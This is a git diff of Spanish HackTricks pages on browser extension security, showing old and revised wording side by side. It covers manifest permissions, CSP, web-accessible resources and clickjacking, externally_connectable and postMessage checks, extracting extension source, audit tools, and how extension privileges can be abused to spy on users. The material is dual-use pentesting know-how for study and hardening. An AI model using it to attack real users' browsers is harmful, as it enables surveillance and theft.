* **Páginas de opciones**: Esta página se muestra encima de la extensión al hacer clic. En el manifiesto anterior, pude acceder a esta página en `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o haciendo clic en:
@ -279,7 +279,7 @@ Ten en cuenta que estas páginas no son persistentes como las páginas de fondo,
**`permissions`** y **`host_permissions`** son entradas del `manifest.json` que indicarán **qué permisos** tiene la extensión del navegador (almacenamiento, ubicación...) y en **qué páginas web**.
Dado que las extensiones del navegador pueden tener tanto **privilegios**, una maliciosa o comprometida podría permitir al atacante **diferentes medios para robar información sensible y espiar al usuario**.
Dado que las extensiones del navegador pueden ser tan **privilegiadas**, una maliciosa o comprometida podría permitir al atacante **diferentes medios para robar información sensible y espiar al usuario**.
Verifica cómo funcionan estos ajustes y cómo podrían ser abusados en:
@ -289,7 +289,7 @@ Verifica cómo funcionan estos ajustes y cómo podrían ser abusados en:
### `content_security_policy`
Una **política de seguridad de contenido** también puede declararse dentro del `manifest.json`. Si está definida, podría ser **vulnerable**.
Una **política de seguridad de contenido** también se puede declarar dentro del `manifest.json`. Si está definida, podría ser **vulnerable**.
La configuración predeterminada para las páginas de extensiones del navegador es bastante restrictiva:
```bash
@ -325,11 +325,11 @@ Estas páginas son accesibles en URL como:
```
chrome-extension://<extension-id>/message.html
```
En las extensiones públicas el **identificador de extensión es accesible**:
En las extensiones públicas, el **identificador de extensión es accesible**:
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
Sin embargo, si se utiliza el parámetro `manifest.json` **`use_dynamic_url`**, este **id puede ser dinámico**.
Sin embargo, si se utiliza el parámetro `use_dynamic_url` en el archivo `manifest.json`, este **id puede ser dinámico**.
Permitir el acceso a estas páginas hace que estas páginas sean **potencialmente vulnerables a ClickJacking**:
@ -358,7 +358,7 @@ Según la [**documentación**](https://developer.chrome.com/docs/extensions/refe
Cuanto **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**.
{% hint style="danger" %}
Si una página web **vulnerable a XSS o toma de control** está indicada en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, evitando por completo el Content Script y su CSP.
Si una página web **vulnerable a XSS o toma de control** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, evitando completamente el Content Script y su CSP.
Por lo tanto, este es un **bypass muy poderoso**.
{% endhint %}
@ -387,7 +387,7 @@ port.postMessage(event.data.text);
```
{% endcode %}
{% code title="example.js" %}
{% code title="ejemplo.js" %}
```javascript
document.getElementById("theButton").addEventListener("click", () => {
window.postMessage(
@ -398,16 +398,16 @@ window.postMessage(
Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando:
- **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por la acción de un usuario.
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
- **Dominio de origen**: podría esperar un mensaje solo de una lista blanca de dominios.
- Si se usa una expresión regular, tenga mucho cuidado.
- **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por una acción del usuario
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción
- **dominio de origen**: podría esperar un mensaje solo de una lista blanca de dominios.
- Si se usa una expresión regular, tenga mucho cuidado
- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **de la misma ventana** donde el Script de Contenido está escuchando.
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifique en la siguiente página **posibles bypasses de Post Message**:
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que revise en la siguiente página **posibles bypasses de Post Message**:
{% content-ref url="../postmessage-vulnerabilities/" %}
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
[vulnerabilidades-de-postmessage](../postmessage-vulnerabilities/)
{% endcontent-ref %}
### Iframe
@ -432,15 +432,15 @@ También puedes encontrar un ejemplo de un **XSS basado en DOM para comprometer
Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esto podría ser **volcado** (especialmente en máquinas Windows) y **buscado** para esta información.
Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y la **información sensible** como credenciales o frases mnemónicas **no debe ser almacenada**.
Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y la **información sensible** como credenciales o frases mnemónicas **no deben ser almacenadas**.
Por supuesto, **no coloque información sensible en el código**, ya que será **pública**.
Por supuesto, **no pongas información sensible en el código**, ya que será **pública**.
## Comunicación Script de Contenido **↔︎** Script de Fondo
Un Script de Contenido puede usar las funciones [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar un mensaje **serializable en JSON** de una sola vez.
Para manejar la **respuesta**, use la **Promesa** devuelta. Aunque, para compatibilidad con versiones anteriores, aún puede pasar un **callback** como último argumento.
Para manejar la **respuesta**, usa la **Promesa** devuelta. Aunque, para compatibilidad con versiones anteriores, aún puedes pasar un **callback** como último argumento.
Enviar una solicitud desde un **script de contenido** se ve así:
```javascript
@ -460,7 +460,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
console.log(response);
})();
```
En el **extremo receptor**, necesitas configurar un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **escuchador de eventos** para manejar el mensaje. Esto se ve igual desde un script de contenido o una página de extensión.
En el **extremo receptor**, necesitas configurar un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **escuchador de eventos** para manejar el mensaje. Esto se ve igual ya sea desde un script de contenido o una página de extensión.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(
@ -477,7 +477,7 @@ En el ejemplo resaltado, **`sendResponse()`** se ejecutó de forma síncrona. Pa
Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta de manera efectiva. Cualquier respuesta posterior al mismo evento no será tomada en cuenta.
Al crear nuevas extensiones, la preferencia debería ser hacia las promesas en lugar de los callbacks. En cuanto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto síncrono, o si el controlador de eventos indica una operación asíncrona al devolver `true`. En caso de que ninguno de los controladores devuelva `true` o si la función `sendResponse()` es eliminada de la memoria (recolectada por el recolector de basura), el callback asociado con la función `sendMessage()` se activará por defecto.
Al crear nuevas extensiones, la preferencia debería ser hacia las promesas en lugar de los callbacks. En cuanto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto síncrono, o si el controlador de eventos indica una operación asíncrona al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` es eliminada de la memoria (recolectada por el recolector de basura), el callback asociado con la función `sendMessage()` se activará por defecto.
## Cargando una Extensión en el Navegador
@ -509,7 +509,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### Utilizar la extensión CRX Viewer
Otro método conveniente es utilizar el Chrome Extension Source Viewer, que es un proyecto de código abierto. Se puede instalar desde la [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). El código fuente del visor está disponible en su [repositorio de GitHub](https://github.com/Rob--W/crxviewer).
Otro método conveniente es utilizar Chrome Extension Source Viewer, que es un proyecto de código abierto. Se puede instalar desde la [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). El código fuente del visor está disponible en su [repositorio de GitHub](https://github.com/Rob--W/crxviewer).
### Ver el código fuente de una extensión instalada localmente
@ -525,13 +525,11 @@ Para identificar las extensiones, puedes mapear sus IDs a nombres:
- Dentro de la carpeta de cada extensión, el archivo `manifest.json` contiene un campo `name` legible, lo que te ayuda a identificar la extensión.
### Utilizar un Archivador de Archivos o Desempaquetador
Ve a la Chrome Web Store y descarga la extensión. El archivo tendrá una extensión `.crx`.
Cambia la extensión del archivo de `.crx` a `.zip`.
Utiliza cualquier archivador de archivos (como WinRAR, 7-Zip, etc.) para extraer el contenido del archivo ZIP.
### Utilizar el Modo Desarrollador en Chrome
Abre Chrome y ve a `chrome://extensions/`.
Habilita "Modo desarrollador" en la esquina superior derecha.
Haz clic en "Cargar extensión sin empaquetar...".
@ -542,10 +540,10 @@ Esto no descarga el código fuente, pero es útil para ver y modificar el códig
Aunque las Extensiones del Navegador tienen una **superficie de ataque limitada**, algunas de ellas podrían contener **vulnerabilidades** o **mejoras potenciales de endurecimiento**. Las siguientes son las más comunes:
* [ ] **Limitar** tanto como sea posible los **`permisos`** solicitados
* [ ] **Limitar** tanto como sea posible los **`host_permissions`**
* [ ] Utilizar una **`content_security_policy`** **fuerte**
* [ ] **Limitar** tanto como sea posible los **`externally_connectable`**, si no se necesita ninguno y es posible, no dejarlo por defecto, especificar **`{}`**
* [ ] **Limitar** tanto como sea posible las **`permissions`** solicitadas
* [ ] **Limitar** tanto como sea posible las **`host_permissions`**
* [ ] Utilizar una **`content_security_policy`** fuerte
* [ ] **Limitar** tanto como sea posible el **`externally_connectable`**, si no se necesita ninguno y es posible, no dejarlo por defecto, especificar **`{}`**
* [ ] Si se menciona una **URL vulnerable a XSS o a toma de control**, un atacante podrá **enviar mensajes directamente a los scripts de fondo**. Un bypass muy poderoso.
* [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacío si es posible.
* [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md)
@ -562,30 +560,30 @@ Aunque las Extensiones del Navegador tienen una **superficie de ataque limitada*
* Extrae cualquier extensión de Chrome desde un enlace proporcionado de la tienda web de Chrome.
* **Visor de manifest.json**: simplemente muestra una versión JSON embellecida del manifiesto de la extensión.
* **Análisis de Huella Digital**: Detección de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) y generación automática de JavaScript de huella digital de extensión de Chrome.
* **Análisis Potencial de Clickjacking**: Detección de páginas HTML de extensión con la directiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
* Análisis de **Fingerprint**: Detección de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) y generación automática de JavaScript de fingerprinting de extensión de Chrome.
* Análisis de **Clickjacking Potencial**: Detección de páginas HTML de extensión con la directiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
* **Visor de Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán al intentar instalar la extensión.
* **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
* **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para comprender el área de superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
* Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
* **Funciones Peligrosas**: muestra la ubicación de funciones peligrosas que podrían ser explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
* **Puntos de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para comprender el área de superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
* Tanto los escáneres de Funciones Peligrosas como de Puntos de Entrada tienen lo siguiente para sus alertas generadas:
* Fragmento de código relevante y línea que causó la alerta.
* Descripción del problema.
* Un botón "Ver Archivo" para ver el archivo fuente completo que contiene el código.
* La ruta del archivo alertado.
* La URI completa de la extensión de Chrome del archivo alertado.
* El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción del Navegador, etc.
* Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluido, así como el tipo de estas páginas y el estado de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
* **Analizador y verificador de Bypass de Política de Seguridad de Contenido (CSP)**: Esto señalará debilidades en la CSP de tu extensión y también iluminará cualquier forma potencial de eludir tu CSP debido a CDNs en lista blanca, etc.
* Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde se incluye, así como el tipo de estas páginas y el estado de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
* **Analizador y verificador de Bypass de Política de Seguridad de Contenido (CSP)**: Esto señalará debilidades en la CSP de tu extensión e iluminará cualquier forma potencial de bypass de tu CSP debido a CDNs en lista blanca, etc.
* **Bibliotecas Vulnerables Conocidas**: Utiliza [Retire.js](https://retirejs.github.io/retire.js) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
* Descargar extensión y versiones formateadas.
* Descargar la extensión original.
* Descargar una versión embellecida de la extensión (HTML y JavaScript auto embellecidos).
* Caché automático de los resultados del escaneo, ejecutar un escaneo de extensión tomará una buena cantidad de tiempo la primera vez que lo ejecutes. Sin embargo, la segunda vez, asumiendo que la extensión no se haya actualizado, será casi instantánea debido a que los resultados están en caché.
* URLs de Informes Enlazables, enlaces fáciles para compartir un informe de extensión generado por tarnish.
* Caché automático de los resultados del escaneo, ejecutar un escaneo de extensión tomará bastante tiempo la primera vez que lo ejecutes. Sin embargo, la segunda vez, asumiendo que la extensión no se haya actualizado, será casi instantánea debido a que los resultados están en caché.
* URLs de Informes Enlazables, enlaza fácilmente a alguien más a un informe de extensión generado por tarnish.
### [Neto](https://github.com/elevenpaths/neto)
El Proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de complementos y extensiones de navegadores conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
El Proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de complementos y extensiones de navegador para navegadores conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
## Referencias
@ -606,10 +604,10 @@ El Proyecto Neto es un paquete de Python 3 concebido para analizar y desentraña
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -48,7 +48,7 @@ Esta configuración condujo a un posible problema de seguridad. Específicamente
Para abordar esta vulnerabilidad, se implementó una solución sencilla: la eliminación de `/skin/*` de la lista de `web_accessible_resources`. Este cambio mitigó efectivamente el riesgo al garantizar que el contenido del directorio `skin/` no pudiera ser accedido o manipulado a través de recursos accesibles por la web.
La solución fue fácil: **eliminar `/skin/*` de los `web_accessible_resources**.
La solución fue fácil: **eliminar `/skin/*` de los `web_accessible_resources**`.
### PoC
```html
@ -99,7 +99,7 @@ Un [**post de blog sobre un ClickJacking en Metamask se puede encontrar aquí**]
## Ejemplo de Steam Inventory Helper
Consulte la siguiente página para ver cómo se encadenó un **XSS** en una extensión del navegador con una vulnerabilidad de **ClickJacking**:
Consulte la siguiente página para ver cómo se encadenó una **XSS** en una extensión del navegador con una vulnerabilidad de **ClickJacking**:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
@ -119,7 +119,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,11 +6,11 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -18,21 +18,21 @@ Otras formas de apoyar a HackTricks:
### **`permissions`**
Los permisos se definen en el archivo **`manifest.json`** de la extensión utilizando la propiedad **`permissions`** y permiten acceder a casi todo a lo que un navegador puede acceder (Cookies o Almacenamiento Físico):
Los permisos se definen en el archivo **`manifest.json`** de la extensión utilizando la propiedad **`permissions`** y permiten acceder a casi cualquier cosa a la que un navegador pueda acceder (Cookies o Almacenamiento Físico):
El manifiesto anterior declara que la extensión requiere el permiso `storage`. Esto significa que puede utilizar [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para almacenar sus datos de forma persistente. A diferencia de las cookies o las APIs `localStorage` que dan a los usuarios cierto nivel de control, **el almacenamiento de la extensión normalmente solo se puede borrar desinstalando la extensión**.
El manifiesto anterior declara que la extensión requiere el permiso `storage`. Esto significa que puede utilizar [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para almacenar sus datos de forma persistente. A diferencia de las cookies o las APIs de `localStorage` que dan a los usuarios cierto nivel de control, **el almacenamiento de la extensión normalmente solo se puede borrar desinstalando la extensión**.
Una extensión solicitará los permisos indicados en su archivo **`manifest.json`** y después de instalar la extensión, siempre puedes **verificar sus permisos en tu navegador**, como se muestra en esta imagen:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
Puedes encontrar la [**lista completa de permisos que una Extensión de Navegador Chromium puede solicitar aquí**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) y una [**lista completa para extensiones de Firefox aquí**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
Puedes encontrar la [**lista completa de permisos que una Extensión del Navegador Chromium puede solicitar aquí**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) y una [**lista completa para extensiones de Firefox aquí**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
### `host_permissions`
La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
El ajuste opcional pero poderoso **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Los siguientes `host_permissions` básicamente permiten a cualquier web:
Los siguientes `host_permissions` básicamente permiten todo en la web:
```json
"host_permissions": [
"*://*/*"
@ -75,19 +75,19 @@ Además de las capacidades mencionadas anteriormente, los scripts de contenido p
Algunos privilegios de extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá con qué sitio web corresponden esas pestañas.
¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es un poco menos inofensiva. Se puede usar para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/es/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
¿Suena demasiado inofensivo? La API [tabs.create()](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es un poco menos inofensiva. Se puede usar para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/es/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
{% hint style="danger" %}
Una extensión puede crear cualquier cantidad de pestañas cuando lo desee.
Una extensión puede crear cualquier cantidad de pestañas cuando quiera.
{% endhint %}
Si revisas los posibles parámetros de `tabs.create()`, también notarás que sus capacidades van mucho más allá de lo que `window.open()` está permitido a controlar. Y mientras Firefox no permite que se utilicen URIs `data:` con esta API, Chrome no tiene tal protección. El **uso de dichas URIs en el nivel superior ha sido** [**prohibido debido a su abuso para phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
Si revisas los posibles parámetros de `tabs.create()`, también notarás que sus capacidades van mucho más allá de lo que `window.open()` está permitido a controlar. Y mientras que Firefox no permite que se utilicen URIs `data:` con esta API, Chrome no tiene esa protección. El **uso de tales URIs en el nivel superior ha sido** [**prohibido debido a su abuso para phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
[**tabs.update()**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) es muy similar a `tabs.create()` pero **modificará una pestaña existente**. Por lo tanto, una extensión maliciosa puede, por ejemplo, cargar arbitrariamente una página de publicidad en una de tus pestañas, y también puede activar la pestaña correspondiente.
### Cámara web, geolocalización y amigos <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
Probablemente sepas que los sitios web pueden solicitar permisos especiales, por ejemplo, para acceder a tu cámara web (herramientas de videoconferencia) o ubicación geográfica (mapas). Son funciones con un considerable potencial de abuso, por lo que los usuarios deben confirmar cada vez que desean permitirlo.
Probablemente sepas que los sitios web pueden solicitar permisos especiales, por ejemplo, para acceder a tu cámara web (herramientas de videoconferencia) o ubicación geográfica (mapas). Son características con un considerable potencial de abuso, por lo que los usuarios deben confirmar cada vez que desean permitirlo.
{% hint style="danger" %}
No es así con las extensiones del navegador. **Si una extensión del navegador** [**quiere acceder a tu cámara web o micrófono**](https://developer.mozilla.org/es/docs/Web/API/MediaDevices/getUserMedia)**, solo necesita pedir permiso una vez**
@ -99,7 +99,7 @@ Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/es
Agregar la palabra clave **`history`** a la [entrada de permisos](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifiesto de la extensión otorga **acceso a la** [**API de historial**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/history). Permite recuperar todo el historial de navegación del usuario de una vez, sin esperar a que el usuario visite estos sitios web nuevamente.
El permiso **`bookmarks`** tiene un potencial de abuso similar, este permite **leer todos los marcadores a través de la** [**API de marcadores**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
El **permiso `bookmarks`** tiene un potencial de abuso similar, este permite **leer todos los marcadores a través de la** [**API de marcadores**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
### Permiso de almacenamiento <a href="#the-storage-permission" id="the-storage-permission"></a>
@ -113,11 +113,11 @@ Puedes encontrar la [**lista completa de permisos que una Extensión de Navegado
## Prevención <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
La política de los desarrolladores de Google prohíbe explícitamente a las extensiones solicitar más privilegios de los necesarios para su funcionalidad, mitigando efectivamente las solicitudes excesivas de permisos. Un caso en el que una extensión del navegador sobrepasó este límite involucró su distribución con el propio navegador en lugar de a través de una tienda de complementos.
La política de los desarrolladores de Google prohíbe explícitamente a las extensiones solicitar más privilegios de los necesarios para su funcionalidad, mitigando efectivamente las solicitudes excesivas de permisos. Un caso en el que una extensión del navegador sobrepasó este límite involucró su distribución con el navegador en sí en lugar de a través de una tienda de complementos.
